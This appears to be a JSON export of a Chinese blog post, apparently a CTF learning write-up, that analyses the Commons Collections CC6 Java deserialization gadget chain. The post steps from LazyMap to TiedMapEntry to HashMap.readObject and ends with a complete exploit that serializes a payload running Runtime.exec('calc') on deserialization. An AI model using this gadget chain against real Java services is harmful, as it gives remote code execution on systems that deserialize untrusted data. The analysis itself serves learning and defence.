{"id":470,"date":"2024-02-14T18:10:06","date_gmt":"2024-02-14T10:10:06","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=470"},"modified":"2024-03-16T00:10:26","modified_gmt":"2024-03-15T16:10:26","slug":"cc6","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2024\/02\/14\/cc6\/","title":{"rendered":"Java\u5b89\u5168 CC\u94fe6\u5206\u6790"},"content":{"rendered":"

\u524d\u8a00<\/h1>\n

CC\u94fe6\u4e0d\u53d7jdk\u7248\u672c\u4e0ecs\u7248\u672c\u7684\u5f71\u54cd\uff0c\u5728Java\u5b89\u5168\u4e2d\u6700\u4e3a\u901a\u7528\uff0c\u5e76\u4e14\u975e\u5e38\u7b80\u6d01\uff0c\u975e\u5e38\u6709\u5b66\u4e60\u7684\u5fc5\u8981\uff0c\u5efa\u8bae\u5728\u5b66\u4e60CC\u94fe6\u4e4b\u524d\u5148\u5b66\u4e60\u4e00\u4e0b URLDNS\u94fe \u548c CC\u94fe1(LazyMap\u7c7b)\uff0c\u8fd9\u6837\u4f1a\u4e8b\u534a\u529f\u500d\uff0c\u66f4\u597d\u7684\u7406\u89e3 CC\u94fe6\uff0c\u8fd9\u91cc\u53ef\u4ee5\u5148\u770b\u4e0b\u6211\u7684\u8fd9\u4e24\u7bc7\u6587\u7ae0<\/p>\n

\n

Java\u5b89\u5168 URLDNS\u94fe\u5206\u6790<\/a><\/p>\n

Java\u5b89\u5168 CC\u94fe1\u5206\u6790(Lazymap\u7c7b)<\/a><\/p>\n<\/blockquote>\n

CC\u94fe\u5206\u6790<\/h1>\n

\u6838\u5fc3transform\u94fe<\/h2>\n

\u8fd9\u6761\u94fe\u5728CC\u94fe1\u4e2d\u6709\u7528\u5230\uff0c\u8fd9\u91cc\u5c31\u4e0d\u505a\u8fc7\u591a\u89e3\u91ca\u4e86\uff0c\u5177\u4f53\u89e3\u91ca\u53ef\u4ee5\u770b\u4e0b\u6211\u4e0a\u9762\u7684\u4e24\u7bc7\u6587\u7ae0\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n

package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\npublic class demo1{\n    public static void main(String[] args) throws Exception{\n        \/\/transformers: \u4e00\u4e2atransformer\u94fe\uff0c\u5305\u542b\u5404\u7c7btransformer\u5bf9\u8c61\uff08\u9884\u8bbe\u8f6c\u5316\u903b\u8f91\uff09\u7684\u8f6c\u5316\u6570\u7ec4\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),\n                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),\n                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n        };\n\n        \/\/transformedChain: ChainedTransformer\u7c7b\u5bf9\u8c61\uff0c\u4f20\u5165transformers\u6570\u7ec4\uff0c\u53ef\u4ee5\u6309\u7167transformers\u6570\u7ec4\u7684\u903b\u8f91\u6267\u884c\u8f6c\u5316\u64cd\u4f5c\n        ChainedTransformer transformerChain = new ChainedTransformer(transformers);\n        transformerChain.transform(1);\/\/\u5b8c\u5168\u7684cc1\u9700\u8981\u627e\u5230\u54ea\u91cc\u53ef\u8c03\u7528transform\u65b9\u6cd5\n    }\n}<\/code><\/pre>\n
\u6211\u4eec\u63a5\u4e0b\u6765\u7684\u4efb\u52a1\u5c31\u662f\u53bb\u627e\u54ea\u91cc\u8c03\u7528\u4e86 transform()<\/code> \u65b9\u6cd5<\/p>\n
Lazymap\u7c7b<\/h2>\n
\u6211\u4eec\u9996\u5148\u8fd8\u662f\u9009\u4e2d transform \u65b9\u6cd5\uff0c\u53f3\u952e\u9009\u62e9\u67e5\u627e\u7528\u6cd5<\/p>\n
\u6211\u4eec\u548cCC\u94fe1\u76f8\u540c\uff0c\u6765\u5230\u4e86LazyMap\u7c7b\uff0c\u5728\u8fd9\u4e2a\u7c7b\u4e2d\u6240\u7528\u5230\u7684\u65b9\u6cd5\u4e5f\u548cCC1\u76f8\u540c<\/p>\n
\"1707904996292.png\"<\/div><\/p>\n
\u7136\u540e\u67e5\u770b\u4e00\u4e0b get \u65b9\u6cd5\u7684\u4ee3\u7801\uff0c\u5982\u4e0b<\/p>\n
    public Object get(Object key) {\n        \/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key); \/\/\u5173\u952e\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n
\u6211\u4eec\u770b\u5230\u5047\u5982\u6ee1\u8db3 map.containsKey(key) == false<\/code>\uff08map\u6570\u7ec4\u4e2d\u4e0d\u5305\u542b\u952e key\uff09\u7684\u8bdd\uff0c\u5c31\u4f1a\u6267\u884cfactory.transform(key);<\/code>\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u9700\u8981\u5c06 factory \u53d8\u91cf\u8d4b\u503c\u4e3a transformerChain<\/strong>\uff08\u4e0a\u9762cc\u94fe\u7684\u6838\u5fc3\u5bf9\u8c61\uff09\uff0c\u7136\u540e\u89e6\u53d1\u5176 transform \u65b9\u6cd5<\/p>\n
\u6211\u4eec\u518d\u6765\u770b\u4e00\u4e0b Lazymap\u7c7b\u4e2d\u7684\u6210\u5458\u5c5e\u6027 map\u548cfactory\u662f\u5426\u53ef\u63a7\uff0c\u67e5\u770b\u4e0b\u6784\u9020\u65b9\u6cd5\uff0c\u5176\u4ee3\u7801\u5982\u4e0b<\/p>\n
    protected LazyMap(Map map, Transformer factory) {\n        super(map);\n        if (factory == null) {\n            throw new IllegalArgumentException("Factory must not be null");\n        }\n        this.factory = factory;\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u662f protected<\/code> \u7c7b\u578b\u7684\uff0c\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u901a\u8fc7\u6784\u9020\u65b9\u6cd5\u83b7\u53d6\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u4f46\u4e00\u822c\u7684\u8fd9\u79cd\u88c5\u9970\u5668\u7c7b\u90fd\u6709\u4e00\u4e2a decorate \u65b9\u6cd5\uff0c\u53ef\u4ee5\u8fd4\u56de\u4e00\u4e2a\u5bf9\u8c61\uff0c\u6211\u4eec\u5728\u8fd9\u4e2a\u7c7b\u4e2d\u627e\u5230\u4e86 decorate \u65b9\u6cd5\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    public static Map decorate(Map map, Transformer factory) {\n        return new LazyMap(map, factory);\n    }<\/code><\/pre>\n
\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5176 map\u548cfactory\u5c5e\u6027\u662f\u53ef\u63a7\u7684\uff0c\u6211\u4eec\u8c03\u7528\u8be5\u9759\u6001\u65b9\u6cd5\u5373\u53ef\u83b7\u53d6\u4e00\u4e2aLazyMap\u5bf9\u8c61<\/p>\n
\u6211\u4eec\u5148\u5199\u4e00\u4e2ademo\u8bd5\u8bd5\u8fd9\u91cc\u7684get\u65b9\u6cd5<\/code>\u662f\u5426\u53ef\u4ee5\u89e6\u53d1cc\u94fe1<\/p>\n
\n
\u6211\u4eec\u7ed9map\u4f20\u5165\u4e00\u4e2a\u7a7a\u6570\u7ec4\uff0c\u7136\u540e\u8c03\u7528get\u65b9\u6cd5\u7684\u65f6\u968f\u4fbf\u4f20\u5165\u4e00\u4e2a\u503c\uff0c\u5373\u53ef\u89e6\u53d1 factory \u53c2\u6570(cc\u94fe\u6838\u5fc3)\u7684transform\u65b9\u6cd5\uff0c\u56e0\u4e3amap\u662f\u7a7a\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u65e0\u8bba\u4f20\u5165\u4ec0\u4e48key\uff0cmap\u91cc\u9762\u90fd\u4e0d\u4f1a\u5b58\u5728<\/p>\n<\/blockquote>\n
package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class main2{\n    public static void main(String[] args) throws Exception{\n        \/\/transformers: \u4e00\u4e2atransformer\u94fe\uff0c\u5305\u542b\u5404\u7c7btransformer\u5bf9\u8c61\uff08\u9884\u8bbe\u8f6c\u5316\u903b\u8f91\uff09\u7684\u8f6c\u5316\u6570\u7ec4\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),\n                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        HashMap<Object,Object> hash = new HashMap<>();\n        Map decorate = LazyMap.decorate(hash, chainedTransformer);\n        decorate.get("key");\n    }\n}<\/code><\/pre>\n
\u8fd0\u884cdemo\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
\"1707905037709.png\"<\/div><\/p>\n
\u63a5\u4e0b\u6765\u6211\u4eec\u7684\u4efb\u52a1\u4fbf\u662f\u2014\u2014\u54ea\u91cc\u53ef\u4ee5\u5bf9\u6211\u4eec\u7684Lazymap\u5bf9\u8c61\u8c03\u7528get\u65b9\u6cd5\uff0c\u6211\u4eec\u9009\u4e2dget\u65b9\u6cd5\u53f3\u952e\u67e5\u770b\u7528\u6cd5\uff0c\u7531\u4e8e\u7ed3\u679c\u592a\u591a\uff0c\u6211\u4eec\u76f4\u63a5\u6765\u5230TiedMapEntry\u7c7b\u4e2d<\/p>\n
\n
TiedMapEntry\u7c7b\u8def\u5f84<\/p>\n
org.apache.commons.collections.keyvalue.TiedMapEntry<\/p>\n<\/blockquote>\n
TiedMapEntry\u7c7b<\/h2>\n
\u6211\u4eec\u770b\u4e0bTiedMapEntry\u7c7b<\/code>\u662f\u5982\u4f55\u8c03\u7528  get\u65b9\u6cd5<\/code>\u7684\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
public Object getValue() {\n    return map.get(key);\n}<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u4ee3\u7801\u5341\u5206\u7b80\u6d01\uff0cgetValue() \u5bf9map\u53d8\u91cf\u8c03\u7528\u4e86get\u65b9\u6cd5\uff0c\u5e76\u4f20\u5165\u4e86\u53c2\u6570key\uff0c\u6211\u4eec\u9700\u8981\u5c06map\u8d4b\u503c\u4e3a\u6211\u4eec\u7684LazyMap\u5bf9\u8c61\uff0c\u7136\u540ekey\u503c\u4efb\u610f<\/p>\n
\u6211\u4eec\u53bb\u770b\u4e0b\u5176\u6784\u9020\u65b9\u6cd5\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    public TiedMapEntry(Map map, Object key) {\n        super();\n        this.map = map;\n        this.key = key;\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u6784\u9020\u65b9\u6cd5\u662f\u516c\u6709\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528\u6784\u9020\u65b9\u6cd5\u751f\u6210TiedMapEntry\u5bf9\u8c61<\/code>\uff0c\u5e76\u5bf9 map\u548ckey\u6210\u5458\u5c5e\u6027\u8d4b\u503c<\/p>\n
\u7136\u540e\u6211\u4eec\u5728\u8fd9\u4e2a\u7c7b\u4e2d\u5bfb\u627e\u54ea\u4e2a\u65b9\u6cd5\u8c03\u7528\u4e86getValue()\u65b9\u6cd5<\/code>\uff0c\u6211\u4eec\u5728hashCode\u65b9\u6cd5<\/code>\u4e2d\u627e\u5230\u4e86\u5bf9\u8be5\u65b9\u6cd5\u7684\u5f15\u7528\uff0c\u65b9\u6cd5\u4ee3\u7801\u5982\u4e0b<\/p>\n
    public int hashCode() {\n        Object value = getValue();\n        return (getKey() == null ? 0 : getKey().hashCode()) ^\n               (value == null ? 0 : value.hashCode()); \n    }<\/code><\/pre>\n
\u53d1\u73b0hashCode\u65b9\u6cd5<\/code>\u4e2d\u5bf9getValue()<\/code>\u65b9\u6cd5\u662f\u65e0\u6761\u4ef6\u5f15\u7528\u7684\uff0c\u6211\u4eec\u53ea\u9700\u8c03\u7528 hashCode\u65b9\u6cd5<\/code>\u5373\u53ef\uff0c\u8fd9\u91cc\u6211\u4eec\u5c06map\u8d4b\u503c\u4e3a\u6211\u4eec\u7684LazyMap\u5bf9\u8c61\uff0c\u7136\u540ekey\u503c\u4efb\u610f\uff0c\u5199\u4e00\u4e2a\u7531 hashCode\u65b9\u6cd5\u89e6\u53d1\u7684demo\u8bd5\u4e00\u8bd5<\/p>\n
package org.example;\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class cc6 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n        HashMap<Object, Object> hash = new HashMap<>();\n        Map decorate = LazyMap.decorate(hash, chainedTransformer);\n        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, null);\n        tiedMapEntry.hashCode();\n    }\n}<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
\"1707905126901.png\"<\/div><\/p>\n
\u63a5\u4e0b\u6765\u4fbf\u662f\u5bfb\u627e\u54ea\u91cc\u53ef\u4ee5\u5bf9\u6211\u4eec\u7684TiedMapEntry\u5bf9\u8c61<\/strong>\u8c03\u7528hashCode\u65b9\u6cd5<\/strong><\/p>\n
\n
\u5f3a\u70c8\u5efa\u8bae\u5148\u770b\u4e00\u4e0b\u4e0a\u9762 URLDNS \u94fe\u5206\u6790\u7684\u6587\u7ae0<\/p>\n<\/blockquote>\n
\u4e00\u822c\u6211\u4eec\u627e\u5230hashCode\u65b9\u6cd5\u4e4b\u540e\uff0c\u4fbf\u662f\u5229\u7528\u4ee5\u4e0b\u8fd9\u6761\u94fe\u4e86<\/p>\n
Gadget Chain:\n\n    HashMap.readObject()\n\n             HashMap.putVal()\n\n                     HashMap.hash()\n\n                             xxx.hashCode()<\/code><\/pre>\n
HashMap\u65b9\u6cd5<\/h2>\n
\u6211\u4eec\u76f4\u63a5\u6765\u5230 HashMap.java\u6587\u4ef6\uff0c\u67e5\u770bHashMap\u7c7b<\/code><\/p>\n
\u6211\u4eec\u67e5\u770b\u5176 hash\u65b9\u6cd5<\/code>\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n
    static final int hash(Object key) {\n        int h;\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }<\/code><\/pre>\n
\u53d1\u73b0\u8be5\u65b9\u6cd5\u5bf9\u4f20\u5165\u7684\u53c2\u6570 key \u8c03\u7528\u4e86hashCode\u65b9\u6cd5\uff0c\u524d\u63d0\u662f\u6ee1\u8db3key\u4e0d\u4e3a\u7a7a<\/p>\n
\n
\u8fd9\u91cckey\u80af\u5b9a\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8981\u8d4b\u503c\u4e3a\u6211\u4eec\u7684TiedMapEntry\u5bf9\u8c61<\/code><\/p>\n<\/blockquote>\n
\u6211\u4eec\u518d\u627e\u4e0b\u54ea\u91cc\u8c03\u7528\u4e86 hash\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6765\u5230\u4e86readObject\u65b9\u6cd5<\/code>\uff0c\u5173\u952e\u4ee3\u7801\u5982\u4e0b<\/p>\n
\n
\u627e\u5230\u4e86 readObject\u65b9\u6cd5\u4e5f\u5c31\u610f\u5473\u7740\u627e\u5230\u4e86CC\u94fe\u7684\u8d77\u70b9<\/p>\n<\/blockquote>\n
    private void readObject(java.io.ObjectInputStream s)\n        throws IOException, ClassNotFoundException {\n            \/\/ Read the keys and values, and put the mappings in the HashMap\n            for (int i = 0; i < mappings; i++) {\n                @SuppressWarnings("unchecked")\n                    K key = (K) s.readObject();\n                @SuppressWarnings("unchecked")\n                    V value = (V) s.readObject();\n                putVal(hash(key), key, value, false, false);\n            }\n        }\n    }<\/code><\/pre>\n
\u53ef\u4ee5\u770b\u5230\u6700\u540e\u4e00\u884c\u4ee3\u7801\uff0c\u5bf9\u53c2\u6570 key \u8c03\u7528\u4e86hash\u65b9\u6cd5\uff0c\u6211\u4eec\u5206\u6790\u4e0bkey\u662f\u600e\u4e48\u83b7\u5f97\u7684<\/p>\n
\u901a\u8fc7\u4ee5\u4e0b\u4ee3\u7801\u53ef\u4ee5\u770b\u51fa\u5b9a\u4e49\u4e86\u4e00\u4e2aK\u7c7b\u578b<\/strong>\u7684key\u53d8\u91cf\uff0c\u7136\u540e\u5bf9\u53cd\u5e8f\u5217\u5316\u7684\u8f93\u5165\u6d41\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u5e76\u628a\u53cd\u5e8f\u5217\u5316\u51fa\u7684\u952e<\/strong>\u590d\u5236\u7ed9key\u53d8\u91cf<\/strong>\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u628a TiedMapEntry\u7c7b<\/code>\u5f53\u505a\u952e<\/strong>\u4f20\u7ed9HashMap\u5373\u53ef<\/p>\n
K key = (K) s.readObject();<\/code><\/pre>\n
\n
K\u7c7b\u578b\u662f\u4ee3\u8868\u952e\u7684\u6cdb\u578b\uff0c\u5176\u5b9a\u4e49\u7684\u6570\u636e\u53ef\u4ee5\u662f\u4efb\u4f55\u7c7b\u578b\uff0c\u4f46\u53ea\u80fd\u4f5c\u4e3amap\u4e2d\u7684\u952e<\/p>\n<\/blockquote>\n
\u6700\u7ec8exp<\/h1>\n
cc\u94fe6 exp\u5982\u4e0b<\/p>\n
import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.keyvalue.TiedMapEntry;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class cc6 {\n    public static void main(String[] args) throws IOException, ClassNotFoundException {\n        \/\/\u5b9a\u4e49\u4e00\u7cfb\u5217Transformer\u5bf9\u8c61,\u7ec4\u6210\u4e00\u4e2a\u53d8\u6362\u94fe\n        Transformer[] transformers = new Transformer[]{\n                \/\/\u8fd4\u56deRuntime.class\n                new ConstantTransformer(Runtime.class),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528getRuntime()\u65b9\u6cd5\u83b7\u53d6Runtime\u5bf9\u8c61\n                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528invoke()\u65b9\u6cd5\n                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                \/\/\u901a\u8fc7\u53cd\u5c04\u8c03\u7528exec()\u65b9\u6cd5\u542f\u52a8calc\n                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})\n        };\n        \/\/\u5c06\u591a\u4e2aTransformer\u5bf9\u8c61\u7ec4\u5408\u6210\u4e00\u4e2a\u94fe\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        HashMap<Object,Object> hash = new HashMap<>();\n        Map decorate = LazyMap.decorate(hash, chainedTransformer);\n        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);\n        HashMap hashMap = new HashMap();\n        hashMap.put(tiedMapEntry,"Elite");\n\n        serialize(hashMap);\n        unserialize("1.bin");\n    }\n    public static void serialize(Object obj) throws IOException {\n        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));\n        out.writeObject(obj);\n    }\n\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException {\n        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));\n        out.readObject();\n    }\n\n}<\/code><\/pre>\n
\u7ecf\u6d4b\u8bd5\u6210\u529f\u5f39\u51fa\u8ba1\u7b97\u5668<\/p>\n
\"1707905158663.png\"<\/div><\/p>\n","protected":false},"excerpt":{"rendered":"
CC\u94fe6\u4e0d\u53d7jdk\u7248\u672c\u4e0ecs\u7248\u672c\u7684\u5f71\u54cd\uff0c\u5728Java\u5b89\u5168\u4e2d\u6700\u4e3a\u901a\u7528\uff0c\u5e76\u4e14\u975e\u5e38\u7b80\u6d01\uff0c\u975e\u5e38\u6709\u5b66\u4e60\u7684\u5fc5\u8981\uff0c\u5efa\u8bae\u5728\u5b66\u4e60CC\u94fe6\u4e4b\u524d\u5148\u5b66\u4e60\u4e00\u4e0b URLDNS\u94fe \u548c CC\u94fe1(LazyMap\u7c7b)<\/p>\n","protected":false},"author":1,"featured_media":471,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[39,22,42],"tags":[15,40,26],"class_list":["post-470","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-java","category-webs","category-42","tag-ctf","tag-java","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/470","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=470"}],"version-history":[{"count":1,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/470\/revisions"}],"predecessor-version":[{"id":472,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/470\/revisions\/472"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/471"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=470"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=470"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=470"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}